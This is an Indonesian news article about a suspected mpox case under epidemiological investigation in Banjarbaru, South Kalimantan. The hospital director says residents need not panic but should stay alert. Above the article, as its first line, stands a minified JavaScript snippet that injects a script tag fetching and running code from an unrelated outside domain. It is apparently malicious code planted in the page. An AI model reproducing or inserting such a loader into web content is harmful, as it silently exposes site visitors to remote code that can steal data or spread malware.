(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kasus monkeypox (Mpox) atau cacar monyet belakangan ini sedang menjadi kewaspadaan nasional. Sebab beberapa kasus mencuat di Indonesia pada tahun 2024 ini.
Menurut informasi dihimpun Kementerian Kesehatan (Kemenkes) RI mengumumkan data kasus konformasi Mpox hingga 17 Agustus 2024 terdapat 88 kasus.
Sebanyak 88 kasus ini tercatat sudah terjadi sejak 2022, dengan total seluruh pasien tersebut telah dinyatakan sembuh total.
Sementara itu di Kota Banjarbaru, Provinsi Kalimantan Selatan (Kalsel), Direktur Rumah Sakit Daerah Idaman Kota Banjarbaru, dr Danny Indrawardhana menuturkan, ada data satu suspek yang teridentifikasi Mpox.
Baca juga: Viral Curhat Bu Guru Lia Soal Adab, Kadisdikbud Kalsel ‘Dirujak’ Netizen
Namun satu suspek tersebut masih dalam tahap penyelidikan oleh pihak rumah sakit bersama Dinas Kesehatan (Dinkes) Kota Banjarbaru.
“Satu pasien masih dalam tahap penyelidikan epitimologi, kita coba kordinasikan dengan Dinkes nanti akan ada pemberitahuan atau penyampaian informasi selanjutnya,” ujar dr Danny -biasa disapa-.
Saat ini kata dia, pihaknya bersama Dinkes melakukan penyelidikan epidemiologi untuk mencari penderita atau tersangka penyakit yang berpotensi menjadi wabah.
“Sudah kita kordinasikan dengan Dinkes tentunya ada penyelidikan epidemiologi termasuk pengiriman sampel dan lain-lain,” ungkapnya.
Dirinya menerangkan bahwa terkait penyakit-penyakit yang sifatnya infeksi atau penularan-penularan yang spesifik, secara prinsip RSD Idaman selalu siap siaga.
Baca juga: Pemkab Banjar Rehab 100 Unit Rumah Tidak Layak Huni
“Kita sudah memulainya sejak di IGD ataupun rawat jalan. Jadi secara prinsip kita siap menerima kasus-kasus seperti ini,” jelas dia.
Kasus monkeyfox sendiri, menurutnya, tidak secara spesifik berat sehingga tidak ada kekhususan untuk pasien melakukan penanganan di ruang isolasi
“Kalau misalnya pasien masih memungkinkan untuk isolasi mandiri kita akan lakukan kajian dan didorong untuk melakukan isolasi mandiri dengan kordinasi dengan puskesmas setempat tentunya,” kata dr Danny.
“Kalau ada kasus-kasus sekunder akibat ada penyakit-penyakit lain tentunya kita siap menyiapkan ruang isolasi tertentu,” sambung dia.
Secara prinsip, dr Danny menerangkan bahwa masyarakat Kota Banjarbaru tidak perlu panik dengan ancaman
Baca juga: Deflasi 0,36% Kalsel pada Agustus 2024, Ini Pemicunya
“Karena memang monkeypox ini tidak seperti Covid-19 tentunya, namun di sisi lain kita harus waspada,” terangnya.
Dirinya meminta masyarakat agar dapat melek dan mengetahui serta mempelajari pola-pola penyakitnya.
“Yang penting kita tetap harus selalu menjaga kesehatan, menjaga kebersihan, dan pelajari betul bagaimana pola penularannya,” tuntas dia. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More
KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More
KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More
This website uses cookies.